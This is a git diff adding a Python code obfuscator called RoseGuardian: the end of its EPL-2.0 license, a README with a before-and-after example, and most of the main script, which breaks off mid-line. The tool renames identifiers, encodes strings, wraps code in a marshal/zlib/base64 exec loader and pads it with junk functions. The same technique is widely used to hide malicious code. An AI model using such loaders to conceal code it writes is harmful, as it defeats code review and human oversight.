+PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE +EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + +7. GENERAL + +If any provision of this Agreement is invalid or unenforceable under +applicable law, it shall not affect the validity or enforceability of +the remainder of the terms of this Agreement, and without further +action by the parties hereto, such provision shall be reformed to the +minimum extent necessary to make such provision valid and enforceable. + +If Recipient institutes patent litigation against any entity +(including a cross-claim or counterclaim in a lawsuit) alleging that the +Program itself (excluding combinations of the Program with other software +or hardware) infringes such Recipient's patent(s), then such Recipient's +rights granted under Section 2(b) shall terminate as of the date such +litigation is filed. + +All Recipient's rights under this Agreement shall terminate if it +fails to comply with any of the material terms or conditions of this +Agreement and does not cure such failure in a reasonable period of +time after becoming aware of such noncompliance. If all Recipient's +rights under this Agreement terminate, Recipient agrees to cease use +and distribution of the Program as soon as reasonably practicable. +However, Recipient's obligations under this Agreement and any licenses +granted by Recipient relating to the Program shall continue and survive. + +Everyone is permitted to copy and distribute copies of this Agreement, +but in order to avoid inconsistency the Agreement is copyrighted and +may only be modified in the following manner. The Agreement Steward +reserves the right to publish new versions (including revisions) of +this Agreement from time to time. No one other than the Agreement +Steward has the right to modify this Agreement. The Eclipse Foundation +is the initial Agreement Steward. The Eclipse Foundation may assign the +responsibility to serve as the Agreement Steward to a suitable separate +entity. Each new version of the Agreement will be given a distinguishing +version number. The Program (including Contributions) may always be +Distributed subject to the version of the Agreement under which it was +received. In addition, after a new version of the Agreement is published, +Contributor may elect to Distribute the Program (including its +Contributions) under the new version. + +Except as expressly stated in Sections 2(a) and 2(b) above, Recipient +receives no rights or licenses to the intellectual property of any +Contributor under this Agreement, whether expressly, by implication, +estoppel or otherwise. All rights in the Program not expressly granted +under this Agreement are reserved. Nothing in this Agreement is intended +to be enforceable by any entity that is not a Contributor or Recipient. +No third-party beneficiary rights are created under this Agreement. + +Exhibit A - Form of Secondary Licenses Notice + +"This Source Code may also be made available under the following +Secondary Licenses when the conditions for such availability set forth +in the Eclipse Public License, v. 2.0 are satisfied: {name license(s), +version(s), and exceptions or additional permissions here}." + + Simply including a copy of this Agreement, including this Exhibit A + is not sufficient to license the Source Code under Secondary Licenses. + + If it is not possible or desirable to put the notice in a particular + file, then You may include the notice in a location (such as a LICENSE + file in a relevant directory) where a recipient would be likely to + look for such a notice. + + You may add additional accurate notices of copyright ownership. diff --git a/Rose-Obfv1/README.md b/Rose-Obfv1/README.md new file mode 100644 index 0000000..0888b45 --- /dev/null +++ b/Rose-Obfv1/README.md @@ -0,0 +1,184 @@ +# [NEW VERSION HERE](https://github.com/gumbobr0t/rose-obf)! + +
+ RoseGuardian Logo +
+
+

:rose: A Python Code Obfuscator :shield:

+
+ +

RoseGuardian

+ +

+ Top Language + Stars + License +

+ +

+ About   |   + Features   |   + Usage   |   + Todo   |   + Examples   |   + License   |   + Author +

+ +
+ +
+ +## About :rose: + +RoseGuardian is a powerful Python code obfuscator designed to safeguard your intellectual property. It employs advanced techniques to obscure your source code, making it significantly more challenging for potential reverse engineers to understand or modify. + +
+ +## Features :sparkles: + +- :closed_lock_with_key: Strong Class and Function Renaming +- :inbox_tray: Code Compression with zlib +- :package: Create Marshalized Objects +- :scroll: Remove Comments + +
+ +## Usage :rocket: + +For optimal obfuscation, it is recommended to set the junk layers to 10 and utilize obfuscation method 1. + +```bash +# Clone the project +$ git clone https://github.com/DamagingRose/RoseGuardian.git + +# Navigate to project directory +$ cd RoseGuardian + +# Run the project +$ python RoseGuardian.py +``` + +
+ +## Todo :pencil: + +- [ ] Rename Variables and Parameters +- [ ] Remove Docstrings +- [ ] Add library support + +
+ +## Examples :clipboard: +**Command**: +```bash +# Obfuscates test.py with 2 junk layers and obfuscation method 1 +$ python RoseGuardian.py test.py 2 1 +``` + +**Before** (test.py): +```python +import random, string +import base64 + +def hello(): + + global var + + var = 'hii' # hi + + print(var) + +print(random.choices(string.ascii_letters, k=5)) + +hello() + +print(base64.b64encode(var.encode('utf-8'))) + +class banana(): # banana + ss = b'\nPEWPEW' + + print(ss) + +def counter(num): + + for i in range(num): + + print('dogs are cool!') + +counter(5) + +# lalala +``` + +**After** (obfuscated_test.py): +```python +__obfuscator__ = 'RoseGuardian' +__author__ = 'gumbobr0t' +__github__ = 'https://github.com/DamagingRose/RoseGuardian' +__license__ = 'EPL-2.0' + + +def complicated_function(): + result = 0 + for i in range(1, 11): + result += i**3 - i**2 + i + return result + +class ComplicatedAlgorithm: + def __init__(self): + self._ = None + self.__ = None + + def execute(self): + pass + +def execute_complicated_algorithm(): + _ = ComplicatedAlgorithm() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def analyze_data(): + import random + + data = [random.randint(1, 100) for _ in range(10)] + result = sum(data) / len(data) + + +import marshal, base64, zlib; exec(marshal.loads(zlib.decompress(base64.b64decode(b'eJxNkNFLwzAQxudr/orzKQ3MPm1DhD6piAxkIFgRQdI06W5rcyOXDfzvTdeADYHku3C/77vw4WaxwOFEIULQvqVhCRwD+k7kaqPZblZCiNY6IPdlXt/x4C6FehCQVtdTo3u46HCV6YQK5B5RXvUpoWKRqioRJjHZlGZPaCwXk1up2SD+9DZGG3gJx2qtlJjb5e4pTtlsVtYbau3ILvNVnqO7u5dKjWam18zwgbXZ6if/8jjFTaUKGvntd8912vOQzCpPuXVvu/r3k45D4c9DHtRRAAT04zd1dvbwT5AtdQw6WDBE/a0ceTPWWok/MtZvYw==')))) +def gravimetric_flux(): + pass + +class warp_inverter: + def __init__(self): + self._ = None + self.__ = None + + def subspace_transducer(self, _): + return self.subspace_transducer(_) + +def chronal_conduit(): + _ = warp_inverter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def singularity_stabilizer(): + _ = gravimetric_flux() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def entropic_reactor(): + pass +``` + + +
+ +## License :page_facing_up: + +This project is licensed under the EPL-2.0 license. + +
+ +## Author :mortar_board: + +Developed with :heart: by [gumbobrot](https://github.com/gumbobr0t) + +Back to top diff --git a/Rose-Obfv1/RoseGuardian.py b/Rose-Obfv1/RoseGuardian.py new file mode 100644 index 0000000..af54b53 --- /dev/null +++ b/Rose-Obfv1/RoseGuardian.py @@ -0,0 +1,1280 @@ + +import base64 + +import sys + +import math + +import os + +import marshal + +import zlib + +import random + +import time + +import ast + +import astor + +import ctypes + +import string + +from colorama import Fore, init + +init() + +__version__ = '1.0.2' + +key = random.randint(0, 255) + +class clear(): + system = os.name + if system == 'nt': + os.system('cls') + elif system == 'posix': + os.system('clear') + else: + print('\n'*120) + +def set_window_title(title): + ctypes.windll.kernel32.SetConsoleTitleW(title) + +system = os.name +if system == 'nt': + set_window_title(f'RoseGuardian | {__version__}') + os.system('mode CON: COLS=140 LINES=25') + +def slow_print(text, delay=0.1): + for char in text: + print(char, end='', flush=True) + time.sleep(delay) + print() + +def random_name(length=10): + return ''.join(random.choice(string.ascii_letters) for _ in range(length)) + +def remove_comments(node): + for child in ast.walk(node): + if isinstance(child, ast.FunctionDef): + child.body = [n for n in child.body if not isinstance(n, ast.Expr) or not isinstance(n.value, ast.Str)] + elif isinstance(child, ast.ClassDef): + child.body = [n for n in child.body if not isinstance(n, ast.Expr) or not isinstance(n.value, ast.Str)] + elif isinstance(child, ast.AsyncFunctionDef): + child.body = [n for n in child.body if not isinstance(n, ast.Expr) or not isinstance(n.value, ast.Str)] + elif isinstance(child, ast.Module): + child.body = [n for n in child.body if not isinstance(n, ast.Expr) or not isinstance(n.value, ast.Str)] + +def encode_strings(node): + for child in ast.walk(node): + if isinstance(child, ast.Str): + obfuscated = ''.join(f'{ord(c) ^ key:02x}' for c in child.s) + child.s = obfuscated + +def replace_strings_with_decoding(node): + for child in ast.walk(node): + if isinstance(child, ast.Assign): + for target in child.targets: + if isinstance(target, ast.Name) and isinstance(child.value, ast.Str): + obfuscated = child.value.s + new_value = ast.Call( + func=ast.Name(id='decode_obfuscated_string', ctx=ast.Load()), + args=[ast.Str(s=obfuscated)], + keywords=[] + ) + child.value = new_value + +def remove_blank_lines(node): + for child in ast.walk(node): + if hasattr(child, 'body'): + child.body = [n for n in child.body if not isinstance(n, ast.Expr) or not isinstance(n.value, ast.Str)] + +def rename_identifiers(node, mapping): + if isinstance(node, ast.FunctionDef) or isinstance(node, ast.AsyncFunctionDef): + node.name = mapping.get(node.name, node.name) + + if isinstance(node, ast.Name): + node.id = mapping.get(node.id, node.id) + + if isinstance(node, ast.ClassDef): + node.name = mapping.get(node.name, node.name) + + for child in ast.iter_child_nodes(node): + rename_identifiers(child, mapping) + +def obfuscator1(): + with open(os.path.abspath(sys.argv[1]), 'r') as f: + slow_print(Fore.RED + 'Reading source code...\n' + Fore.RESET, delay=0.005) + source_code = f.read() + + def random_name(): + return ''.join(random.choices(string.ascii_letters, k=10)) + + slow_print(Fore.RED + 'Parsing tree...\n' + Fore.RESET, delay=0.005) + + tree = ast.parse(source_code) + + slow_print(Fore.RED + 'Removing comments...\n' + Fore.RESET, delay=0.005) + + remove_comments(tree) + + slow_print(Fore.RED + 'Removing blank lines...\n' + Fore.RESET, delay=0.005) + + remove_blank_lines(tree) + + slow_print(Fore.RED + 'Changing class and function names...\n' + Fore.RESET, delay=0.005) + functions = set() + classes = set() + + for node in ast.walk(tree): + if isinstance(node, ast.FunctionDef) or isinstance(node, ast.AsyncFunctionDef): + functions.add(node.name) + elif isinstance(node, ast.ClassDef): + classes.add(node.name) + + mapping = {name: random_name() for name in functions | classes} + + rename_identifiers(tree, mapping) + + slow_print(Fore.RED + 'Compressing and base64 encoding the marshalized objects...\n' + Fore.RESET, delay=0.005) + obfuscated_code = base64.b64encode(zlib.compress(marshal.dumps(astor.to_source(tree).encode()))) + + return obfuscated_code + +def obfuscator0(input_file, output_file): + with open(input_file, 'r') as file: + source_code = file.read() + + tree = ast.parse(source_code) + + remove_comments(tree) + + remove_blank_lines(tree) + + encode_strings(tree) + + variables = set() + functions = set() + classes = set() + + for node in ast.walk(tree): + if isinstance(node, ast.FunctionDef) or isinstance(node, ast.AsyncFunctionDef): + functions.add(node.name) + elif isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store): + variables.add(node.id) + elif isinstance(node, ast.ClassDef): + classes.add(node.name) + + mapping = {name: random_name() for name in variables | functions | classes} + + rename_identifiers(tree, mapping) + + with open(output_file, 'w') as file: + file.write(f"key = {key}\n\n") + file.write("def decode_obfuscated_string(obfuscated_string):\n") + file.write(" encoded = bytes.fromhex(obfuscated_string)\n") + file.write(" decoded = ''.join(chr(b ^ key) for b in encoded)\n") + file.write(" return decoded\n\n") + replace_strings_with_decoding(tree) + file.write(ast.unparse(tree)) + +def get_junk(): + + _1 = '''def morphogenic_adapter(): + pass + +class quantum_oscillator: + def __init__(self): + self._ = None + self.__ = None + + def hyperbolic_momentum(self, _): + return self.hyperbolic_momentum(_) + +def tachyon_cascade(): + _ = quantum_oscillator() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def stellar_phase_converter(): + _ = morphogenic_adapter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def temporal_disruptor(): + pass''' + + _2 = '''def spectral_synthesizer(): + pass + +class warp_singularity: + def __init__(self): + self._ = None + self.__ = None + + def temporal_siphon(self, _): + return self.temporal_siphon(_) + +def entropic_fluctuation(): + _ = warp_singularity() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def quantum_reactor(): + _ = spectral_synthesizer() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def graviton_matrix(): + pass +''' + + _3 = '''def quantum_resonator(): + pass + +class singularity_nexus: + def __init__(self): + self._ = None + self.__ = None + + def hyperspatial_field(self, _): + return self.hyperspatial_field(_) + +def chronometric_analyzer(): + _ = singularity_nexus() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def gravimetric_capacitor(): + _ = quantum_resonator() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def tachyon_diffractor(): + pass +''' + + _4 = '''def nebula_processor(): + pass + +class interstellar_grid: + def __init__(self): + self._ = None + self.__ = None + + def quantum_encoder(self, _): + return self.quantum_encoder(_) + +def cosmic_displacement(): + _ = interstellar_grid() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_modulator(): + _ = nebula_processor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def dark_matter_calibrator(): + pass +''' + + _5 = '''def gravimetric_flux(): + pass + +class warp_inverter: + def __init__(self): + self._ = None + self.__ = None + + def subspace_transducer(self, _): + return self.subspace_transducer(_) + +def chronal_conduit(): + _ = warp_inverter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def singularity_stabilizer(): + _ = gravimetric_flux() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def entropic_reactor(): + pass +''' + + _6 = '''def quantum_transmitter(): + pass + +class flux_capacitor: + def __init__(self): + self._ = None + self.__ = None + + def tachyon_oscillator(self, _): + return self.tachyon_oscillator(_) + +def spatial_phase(): + _ = flux_capacitor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def temporal_analyzer(): + _ = quantum_transmitter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def stellar_modulator(): + pass +''' + + _7 = '''def nebular_computron(): + pass + +class cosmic_relay: + def __init__(self): + self._ = None + self.__ = None + + def subspace_coil(self, _): + return self.subspace_coil(_) + +def graviton_amplifier(): + _ = cosmic_relay() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def singularity_catalyst(): + _ = nebular_computron() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def temporal_enigma(): + pass +''' + + _8 = '''def hyperion_mechanism(): + pass + +class gravimetric_tensor: + def __init__(self): + self._ = None + self.__ = None + + def warp_crypt(self, _): + return self.warp_crypt(_) + +def quantum_effluvium(): + _ = gravimetric_tensor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_resonator(): + _ = hyperion_mechanism() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def temporal_reverberator(): + pass +''' + + _9 = '''def exo_quantum(): + pass + +class astro_waveform: + def __init__(self): + self._ = None + self.__ = None + + def flux_capacitance(self, _): + return self.flux_capacitance(_) + +def chrono_stasis(): + _ = astro_waveform() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def gravitic_magnetron(): + _ = exo_quantum() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_scrambler(): + pass +''' + + _10 = '''def tachyon_entangler(): + pass + +class quantum_fusion: + def __init__(self): + self._ = None + self.__ = None + + def warp_induction(self, _): + return self.warp_induction(_) + +def chrono_spectral(): + _ = quantum_fusion() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def gravimetric_anomaly(): + _ = tachyon_entangler() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_phase_lock(): + pass +''' + + _11 = '''def astral_inverter(): + pass + +class stellar_singularity: + def __init__(self): + self._ = None + self.__ = None + + def quantum_nucleus(self, _): + return self.quantum_nucleus(_) + +def hyper_gravimetric(): + _ = stellar_singularity() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def temporal_deflector(): + _ = astral_inverter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_injector(): + pass +''' + + _12 = '''def chrono_tesseract(): + pass + +class gravimetric_reactor: + def __init__(self): + self._ = None + self.__ = None + + def warp_manifold(self, _): + return self.warp_manifold(_) + +def quantum_vortex(): + _ = gravimetric_reactor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def astral_siphon(): + _ = chrono_tesseract() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def hyper_flux_analyzer(): + pass +''' + + _13 = '''def warp_oscillator(): + pass + +class gravimetric_disruptor: + def __init__(self): + self._ = None + self.__ = None + + def subspace_transmitter(self, _): + return self.subspace_transmitter(_) + +def quantum_chronometer(): + _ = gravimetric_disruptor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def astral_magnetar(): + _ = warp_oscillator() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def hyperbolic_reactor(): + pass +''' + + _14 = '''def temporal_nexus(): + pass + +class quantum_flux: + def __init__(self): + self._ = None + self.__ = None + + def warp_field(self, _): + return self.warp_field(_) + +def stellar_maneuver(): + _ = quantum_flux() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_chronicle(): + _ = temporal_nexus() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def astral_deflector(): + pass +''' + + _15 = '''def warp_modulator(): + pass + +class gravimetric_inverter: + def __init__(self): + self._ = None + self.__ = None + + def quantum_matrix(self, _): + return self.quantum_matrix(_) + +def stellar_entropy(): + _ = gravimetric_inverter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def temporal_spectral(): + _ = warp_modulator() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def subspace_transmogrifier(): + pass +''' + + _16 = '''def quantum_fissure(): + pass + +class stellar_flux: + def __init__(self): + self._ = None + self.__ = None + + def warp_cloak(self, _): + return self.warp_cloak(_) + +def chrono_singularity(): + _ = stellar_flux() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def gravimetric_oscillation(): + _ = quantum_fissure() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def astral_paradigm(): + pass +''' + + _17 = '''def genetic_analyzer(): + pass + +class dna_sequencer: + def __init__(self): + self._ = None + self.__ = None + + def genetic_encoder(self, _): + return self.genetic_encoder(_) + +def mutation_inducer(): + _ = dna_sequencer() + _._ = lambda _, __: _.___(__) + _.___(_.___(_)) +''' + + _18 = '''def neural_processor(): + pass + +class synaptic_matrix: + def __init__(self): + self._ = None + self.__ = None + + def dendritic_cascade(self, _): + return self.dendritic_cascade(_) + +def cognitive_amplifier(): + _ = synaptic_matrix() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def thought_inhibitor(): + _ = neural_processor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def consciousness_monitor(): + pass +''' + + _19 = '''def quantum_analyzer(): + pass + +class wave_function: + def __init__(self): + self._ = None + self.__ = None + + def entanglement_resolver(self, _): + return self.entanglement_resolver(_) + +def probability_calculator(): + _ = wave_function() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def uncertainty_optimizer(): + _ = quantum_analyzer() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def wave_collapser(): + pass +''' + + _20 = '''def algorithm_optimizer(): + pass + +class computational_neuron: + def __init__(self): + self._ = None + self.__ = None + + def synaptic_connection(self, _): + return self.synaptic_connection(_) + +def heuristic_generator(): + _ = computational_neuron() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def pattern_analyzer(): + _ = algorithm_optimizer() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def data_compiler(): + pass +''' + + _21 = '''def audio_processor(): + pass + +class waveform_converter: + def __init__(self): + self._ = None + self.__ = None + + def frequency_analyzer(self, _): + return self.frequency_analyzer(_) + +def spectral_filter(): + _ = waveform_converter() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def audio_resampler(): + pass +''' + + _22 = '''def data_encoder(): + pass + +class compression_algorithm: + def __init__(self): + self._ = None + self.__ = None + + def data_compressor(self, _): + return self.data_compressor(_) + +def encryption_scheme(): + _ = compression_algorithm() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def data_decoder(): + pass +''' + + _23 = '''def image_processor(): + pass + +class color_correction: + def __init__(self): + self._ = None + self.__ = None + + def hue_adjustment(self, _): + return self.hue_adjustment(_) + +def image_filter(): + _ = color_correction() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def image_resizer(): + pass +''' + + _24 = '''def text_analyzer(): + pass + +class sentiment_classifier: + def __init__(self): + self._ = None + self.__ = None + + def emotion_analysis(self, _): + return self.emotion_analysis(_) + +def text_summarizer(): + _ = sentiment_classifier() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def text_translator(): + pass +''' + + _25 = '''def financial_analyzer(): + pass + +class portfolio_optimizer: + def __init__(self): + self._ = None + self.__ = None + + def risk_assessment(self, _): + return self.risk_assessment(_) + +def investment_strategy(): + _ = portfolio_optimizer() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def asset_alocator(): + pass +''' + + _26 = '''def network_monitor(): + pass + +class packet_sniffer: + def __init__(self): + self._ = None + self.__ = None + + def traffic_analyzer(self, _): + return self.traffic_analyzer(_) + +def security_audit(): + _ = packet_sniffer() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def intrusion_detection(): + pass +''' + + _27 = '''def medical_diagnostic(): + pass + +class patient_monitor: + def __init__(self): + self._ = None + self.__ = None + + def vital_signs(self, _): + return self.vital_signs(_) + +def disease_classifier(): + _ = patient_monitor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def treatment_planner(): + pass +''' + + _28 = '''def climate_sensor(): + pass + +class temperature_controller: + def __init__(self): + self._ = None + self.__ = None + + def climate_regulator(self, _): + return self.climate_regulator(_) + +def humidity_adjuster(): + _ = temperature_controller() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def air_quality_monitor(): + pass +''' + + _29 = '''def audio_processor(): + return None + +class WaveformConverter: + def __init__(self): + self.data = None + self.metadata = None + + def frequency_analysis(self, data): + return self.frequency_analysis(data) + +def SpectralFilter(): + converter = WaveformConverter() + converter.data = lambda x, y: x(y) + x(x(x(x(y)))) + +def AudioResampler(): + pass +''' + + _30 = '''def DataEncoder(): + return None + +class CompressionAlgorithm: + def __init__(self): + self.buffer = None + self.settings = None + + def CompressData(self, buffer): + return self.CompressData(buffer) + +def EncryptionScheme(): + algorithm = CompressionAlgorithm() + algorithm.buffer = lambda x, y: x(y) + x(x(x(x(y)))) + +def DataDecoder(): + pass +''' + + _31 = '''def ImageProcessor(): + return None + +class ColorCorrection: + def __init__(self): + self.settings = None + self.mask = None + + def AdjustHue(self, image): + return self.AdjustHue(image) + +def ImageFilter(): + correction = ColorCorrection() + correction.mask = lambda x, y: x(y) + x(x(x(x(y)))) + +def ImageResizer(): + pass +''' + + _32 = '''def TextAnalyzer(): + return None + +class SentimentClassifier: + def __init__(self): + self.model = None + self.vocab = None + + def AnalyzeEmotion(self, text): + return self.AnalyzeEmotion(text) + +def TextSummarizer(): + classifier = SentimentClassifier() + classifier.model = lambda x, y: x(y) + x(x(x(x(y)))) + +def TextTranslator(): + pass +''' + + _33 = '''def FinancialAnalyzer(): + return None + +class PortfolioOptimizer: + def __init__(self): + self.portfolio = None + self.strategy = None + + def AssessRisk(self, portfolio): + return self.AssessRisk(portfolio) + +def InvestmentStrategy(): + optimizer = PortfolioOptimizer() + optimizer.strategy = lambda x, y: x(y) + x(x(x(x(y)))) + +def AssetAllocator(): + pass +''' + + _34 = '''def complex_processor(): + result = 0 + for i in range(10): + result += i * (i + 1) / (i + 2) + return result + +class ComplexProcessor: + def __init__(self): + self._ = None + self.__ = None + + def process_data(self, data): + return self.process_data(data) + +def perform_calculation(): + _ = ComplexProcessor() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def simulate_system(): + value = 1 + for _ in range(5): + value *= value + 1 +''' + + _35 = '''def genetic_optimizer(): + result = 1 + for i in range(1, 11): + result *= i + return result + +class GeneticAlgorithm: + def __init__(self): + self._ = None + self.__ = None + + def optimize(self): + pass + +def calculate_fitness(): + _ = GeneticAlgorithm() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def evaluate_population(): + total = 0 + for i in range(1, 6): + total += i**2 + return total +''' + + _36 = '''def particle_simulator(): + result = 0 + for i in range(1, 21): + result += i**3 - i**2 + i + return result + +class ParticleSimulator: + def __init__(self): + self._ = None + self.__ = None + + def simulate(self, iterations): + return self.simulate(iterations) + +def simulate_particles(): + _ = ParticleSimulator() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def analyze_data(): + data = [1, 2, 3, 4, 5] + result = sum(data) / len(data) +''' + + _37 = '''def matrix_multiplier(): + matrix_a = [[1, 2], [3, 4]] + matrix_b = [[5, 6], [7, 8]] + result = [[0, 0], [0, 0]] + + for i in range(len(matrix_a)): + for j in range(len(matrix_b[0])): + for k in range(len(matrix_b)): + result[i][j] += matrix_a[i][k] * matrix_b[k][j] + + return result''' + + _38 = '''def newton_raphson(): + def f(x): + return x**3 - 6 * x**2 + 11 * x - 6 + + def df(x): + return 3 * x**2 - 12 * x + 11 + + x0 = 1.0 + for _ in range(5): + x0 = x0 - f(x0) / df(x0) + + return x0 +''' + + _39 = '''def complex_integration(): + def f(x): + return x**2 + 2 * x + 1 + + a = 0 + b = 2 + n = 1000 + h = (b - a) / n + + result = 0 + for i in range(n): + result += h * (f(a + i*h) + f(a + (i+1)*h)) / 2 + + return result +''' + + _40 = '''def random_walk(): + import random + + position = 0 + steps = 1000 + + for _ in range(steps): + if random.random() < 0.5: + position += 1 + else: + position -= 1 + + return position''' + + _41 = '''def monte_carlo_simulation(): + import random + + inside_circle = 0 + total_points = 100000 + + for _ in range(total_points): + x = random.uniform(-1, 1) + y = random.uniform(-1, 1) + + if x**2 + y**2 <= 1: + inside_circle += 1 + + return 4 * inside_circle / total_points +''' + + _42 = '''def complicated_function(): + result = 0 + for i in range(1, 11): + result += i**3 - i**2 + i + return result + +class ComplicatedAlgorithm: + def __init__(self): + self._ = None + self.__ = None + + def execute(self): + pass + +def execute_complicated_algorithm(): + _ = ComplicatedAlgorithm() + _._ = lambda _, __: _.___(__) + _.___(_.___(_.__(_.___(_.__)))) + +def analyze_data(): + import random + + data = [random.randint(1, 100) for _ in range(10)] + result = sum(data) / len(data) +''' + + _43 = '''def hard_equation_solver(): + result = 0 + for i in range(1, 11): + result += i**5 - i**4 + i**3 - i**2 + i - 1 + return result + +class EquationSolver: + def __init__(self): + self._ = None + self.__ = None + + def solve(self): + pass + + def quadratic_equation(self, a, b, c): + discriminant = b**2 - 4*a*c + if discriminant > 0: + x1 = (-b + discriminant**0.5) / (2*a) + x2 = (-b - discriminant**0.5) / (2*a) + return x1, x2 + elif discriminant == 0: + x = -b / (2*a) + return x + else: + real_part = -b / (2*a) + imaginary_part = (abs(discriminant)**0.5) / (2*a) + return (real_part + imaginary_part * 1j, real_part - imaginary_part * 1j) + + def integrate_polynomial(self, coefficients): + result = [coeff / (i+1) for i, coeff in enumerate(coefficients)] + result.append(0) + return result + +def solve_equation(): + _ = EquationSolver() + _.quadratic_equation(1, -3, 2) + +def compute_fibonacci(n): + if n <= 0: + return 0 + elif n == 1: + return 1 + else: + return compute_fibonacci(n-1) + compute_fibonacci(n-2) +''' + + _44 = '''def junk_function_1(): + result = 0 + for i in range(1, 6): + result += i**3 - i**2 + i - 1 + return result + +class RandomEquationSolver: + def __init__(self): + self.a = 5 + self.b = 3 + + def solve(self): + return self.a * self.b + self.a - self.b + + def random_operation(self): + return self.a**2 + self.b**3 - self.a * self.b + +def solve_random_equation(): + solver = RandomEquationSolver() + return solver.solve() + +def compute_random_sequence(length): + return [i**2 - i + 1 for i in range(length)] + +def find_random_factors(n): + factors = [] + while n % 2 == 0: + factors.append(2) + n = n // 2 + for i in range(3, int(n**0.5) + 1, 2): + while n % i == 0: + factors.append(i) + n = n // i + if n > 2: + factors.append(n) + return factors + +def calculate_random_gcd(a, b): + while b: + a, b = b, a % b + return a + +def generate_random_points(num_points): + points = [] + for _ in range(num_points): + x = 2 * _ + 1 + y = 3 * _ + 2 + points.append((x, y)) + return points +''' + + _45 = '''def multiply_matrices(mat1, mat2): + result = [] + for i in range(len(mat1)): + row = [] + for j in range(len(mat2[0])): + total = 0 + for k in range(len(mat2)): + total += mat1[i][k] * mat2[k][j] + row.append(total) + result.append(row) + return result +''' + + return random.choice([_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45]) + +def write_code(): + obfuscated_file = os.path.join(os.getcwd(), 'obfuscated_' + f"{os.path.basename(os.path.abspath(sys.argv[1]))}") + + with open(os.path.join(obfuscated_file), 'w') as f: + + if (len(sys.argv) > 2 and 